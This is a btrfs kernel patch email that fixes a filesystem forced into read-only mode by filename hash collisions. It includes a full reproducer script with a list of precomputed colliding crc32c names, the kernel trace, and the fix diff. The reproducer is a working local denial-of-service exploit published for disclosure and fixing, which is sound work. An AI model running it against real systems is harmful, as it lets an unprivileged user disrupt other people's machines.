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From: fdmanana@kernel.org
To: linux-btrfs@vger.kernel.org
Subject: [PATCH 1/5] btrfs: fix transaction abort on file creation due to name hash collision
Date: Thu, 26 Feb 2026 14:33:58 +0000	[thread overview]
Message-ID: <3f0538466b8a6d7d00c0a8256c76dbdcf01980a0.1772105193.git.fdmanana@suse.com> (raw)
In-Reply-To: <cover.1772105193.git.fdmanana@suse.com>

From: Filipe Manana <fdmanana@suse.com>

If we attempt to create several files with names that result in the same
hash, we have to pack them in same dir item and that has a limit inherent
to the leaf size. However if we reach that limit, we trigger a transaction
abort and turns the filesystem into RO mode. This allows for a malicious
user to disrupt a system, without the need to have administration
privileges/capabilities.

Reproducer:

   $ cat exploit-hash-collisions.sh
   #!/bin/bash

   DEV=/dev/sdi
   MNT=/mnt/sdi

   # Use smallest node size to make the test faster and require less file
   # names that result in hash collision.
   mkfs.btrfs -f --nodesize 4K $DEV
   mount $DEV $MNT

   # List of names that result in the same crc32c hash for btrfs.
   declare -a names=(
    'foobar'
    '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC'
    'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z'
    'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4'
    'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:'
    'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO'
    'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us'
    'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY'
    'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO'
    'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU'
    'Ono7avN5GjC:_6dBJ_'
    'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am'
    'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k'
    'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2'
    'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd'
    'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm'
    'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ'
    'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky'
    'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS'
    'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz'
    'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu'
    'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN'
    'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4='
    'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn'
    'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C'
    'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW'
    '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc'
    'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mCaaKGxb990jzaagRktDTyp'
    '9hD2ApKa_t_7x-a@GCG28kY:7$M@5udI1myQ$x5udtggvagmCQcq9QXWRC5hoB0o-_zHQUqZI5rMcz_kbMgvN5jr63LeYA4Cj-c6F5Ugmx6DgVf@2Jqm%MafecpgooqreJ53P-QTS'
   )

   # Now create files with all those names in the same parent directory.
   # It should not fail since a 4K leaf has enough space for them.
   for name in "${names[@]}"; do
        touch $MNT/$name
   done

   # Now add one more file name that causes a crc32c hash collision.
   # This should fail, but it should not turn the filesystem into RO mode
   # (which could be exploited by malicious users) due to a transaction
   # abort.
   touch $MNT/'W6tIm-VK2@BGC@IBfcgg6j_p:pxp_QUqtWpGD5Ok_GmijKOJJt'

   # Check that we are able to create another file, with a name that does not cause
   # a crc32c hash collision.
   echo -n "hello world" > $MNT/baz

   # Unmount and mount again, verify file baz exists and with the right content.
   umount $MNT
   mount $DEV $MNT
   echo "File baz content: $(cat $MNT/baz)"

   umount $MNT

When running the reproducer:

   $ ./exploit-hash-collisions.sh
   (...)
   touch: cannot touch '/mnt/sdi/W6tIm-VK2@BGC@IBfcgg6j_p:pxp_QUqtWpGD5Ok_GmijKOJJt': Value too large for defined data type
   ./exploit-hash-collisions.sh: line 57: /mnt/sdi/baz: Read-only file system
   cat: /mnt/sdi/baz: No such file or directory
   File baz content:

And the transaction abort stack trace in dmesg/syslog:

   $ dmesg
   (...)
   [758240.509761] ------------[ cut here ]------------
   [758240.510668] BTRFS: Transaction aborted (error -75)
   [758240.511577] WARNING: fs/btrfs/inode.c:6854 at btrfs_create_new_inode+0x805/0xb50 [btrfs], CPU#6: touch/888644
   [758240.513513] Modules linked in: btrfs dm_zero (...)
   [758240.523221] CPU: 6 UID: 0 PID: 888644 Comm: touch Tainted: G        W           6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)
   [758240.524621] Tainted: [W]=WARN
   [758240.525037] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
   [758240.526331] RIP: 0010:btrfs_create_new_inode+0x80b/0xb50 [btrfs]
   [758240.527093] Code: 0f 82 cf (...)
   [758240.529211] RSP: 0018:ffffce64418fbb48 EFLAGS: 00010292
   [758240.529935] RAX: 00000000ffffffd3 RBX: 0000000000000000 RCX: 00000000ffffffb5
   [758240.531040] RDX: 0000000d04f33e06 RSI: 00000000ffffffb5 RDI: ffffffffc0919dd0
   [758240.531920] RBP: ffffce64418fbc10 R08: 0000000000000000 R09: 00000000ffffffb5
   [758240.532928] R10: 0000000000000000 R11: ffff8e52c0000000 R12: ffff8e53eee7d0f0
   [758240.533818] R13: ffff8e57f70932a0 R14: ffff8e5417629568 R15: 0000000000000000
   [758240.534664] FS:  00007f1959a2a740(0000) GS:ffff8e5b27cae000(0000) knlGS:0000000000000000
   [758240.535821] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
   [758240.536644] CR2: 00007f1959b10ce0 CR3: 000000012a2cc005 CR4: 0000000000370ef0
   [758240.537517] Call Trace:
   [758240.537828]  <TASK>
   [758240.538099]  btrfs_create_common+0xbf/0x140 [btrfs]
   [758240.538760]  path_openat+0x111a/0x15b0
   [758240.539252]  do_filp_open+0xc2/0x170
   [758240.539699]  ? preempt_count_add+0x47/0xa0
   [758240.540200]  ? __virt_addr_valid+0xe4/0x1a0
   [758240.540800]  ? __check_object_size+0x1b3/0x230
   [758240.541661]  ? alloc_fd+0x118/0x180
   [758240.542315]  do_sys_openat2+0x70/0xd0
   [758240.543012]  __x64_sys_openat+0x50/0xa0
   [758240.543723]  do_syscall_64+0x50/0xf20
   [758240.544462]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
   [758240.545397] RIP: 0033:0x7f1959abc687
   [758240.546019] Code: 48 89 fa (...)
   [758240.548522] RSP: 002b:00007ffe16ff8690 EFLAGS: 00000202 ORIG_RAX: 0000000000000101
   [758240.566278] RAX: ffffffffffffffda RBX: 00007f1959a2a740 RCX: 00007f1959abc687
   [758240.567068] RDX: 0000000000000941 RSI: 00007ffe16ffa333 RDI: ffffffffffffff9c
   [758240.567860] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
   [758240.568707] R10: 00000000000001b6 R11: 0000000000000202 R12: 0000561eec7c4b90
   [758240.569712] R13: 0000561eec7c311f R14: 00007ffe16ffa333 R15: 0000000000000000
   [758240.570758]  </TASK>
   [758240.571040] ---[ end trace 0000000000000000 ]---
   [758240.571681] BTRFS: error (device sdi state A) in btrfs_create_new_inode:6854: errno=-75 unknown
   [758240.572899] BTRFS info (device sdi state EA): forced readonly

Fix this by checking for hash collision, and if the adding a new name is
possible, early in btrfs_create_new_inode() before we do any tree updates,
so that we don't need to abort the transaction if we can not add the new
name due to the leaf size limit.

A test case for fstests will be sent soon.

Fixes: caae78e03234 ("btrfs: move common inode creation code into btrfs_create_new_inode()")
Signed-off-by: Filipe Manana <fdmanana@suse.com>
---
 fs/btrfs/inode.c | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/fs/btrfs/inode.c b/fs/btrfs/inode.c
index b9f1bd18ea62..9a26fc5a5263 100644
--- a/fs/btrfs/inode.c
+++ b/fs/btrfs/inode.c
@@ -6635,6 +6635,25 @@ int btrfs_create_new_inode(struct btrfs_trans_handle *trans,
 	int ret;
 	bool xa_reserved = false;
 
+	if (!args->orphan && !args->subvol) {
+		/*
+		 * Before anything else, check if we can add the name to the
+		 * parent directory. We want to avoid a dir item overflow in
+		 * case we have an existing dir item due to existing name
+		 * hash collisions. We do this check here before we call
+		 * btrfs_add_link() down below so that we can avoid a
+		 * transaction abort (which could be exploited by malicious
+		 * users).
+		 *
+		 * For subvolumes we already do this in btrfs_mksubvol().
+		 */
+		ret = btrfs_check_dir_item_collision(BTRFS_I(dir)->root,
+						     btrfs_ino(BTRFS_I(dir)),
+						     name);
+		if (ret < 0)
+			return ret;
+	}
+
 	path = btrfs_alloc_path();
 	if (!path)
 		return -ENOMEM;
-- 
2.47.2


  reply	other threads:[~2026-02-26 14:34 UTC|newest]

Thread overview: 15+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-02-26 14:33 [PATCH 0/5] btrfs: fix exploits that allow malicious users to turn fs into RO mode fdmanana
2026-02-26 14:33 ` fdmanana [this message]
2026-02-26 18:55   ` [PATCH 1/5] btrfs: fix transaction abort on file creation due to name hash collision Boris Burkov
2026-02-26 21:24     ` Filipe Manana
2026-02-26 21:29       ` Boris Burkov
2026-02-26 14:33 ` [PATCH 2/5] btrfs: fix transaction abort when snapshotting received subvolumes fdmanana
2026-02-26 20:40   ` Qu Wenruo
2026-02-26 21:30     ` Filipe Manana
2026-02-26 14:34 ` [PATCH 3/5] btrfs: stop checking for -EEXIST return value from btrfs_uuid_tree_add() fdmanana
2026-02-26 14:34 ` [PATCH 4/5] btrfs: remove duplicated uuid tree existence check in btrfs_uuid_tree_add() fdmanana
2026-02-26 14:34 ` [PATCH 5/5] btrfs: remove pointless error check in btrfs_check_dir_item_collision() fdmanana
2026-02-26 19:10 ` [PATCH 0/5] btrfs: fix exploits that allow malicious users to turn fs into RO mode Boris Burkov
2026-02-26 21:18   ` Filipe Manana
2026-02-26 21:57     ` Boris Burkov
2026-02-26 23:10 ` Qu Wenruo

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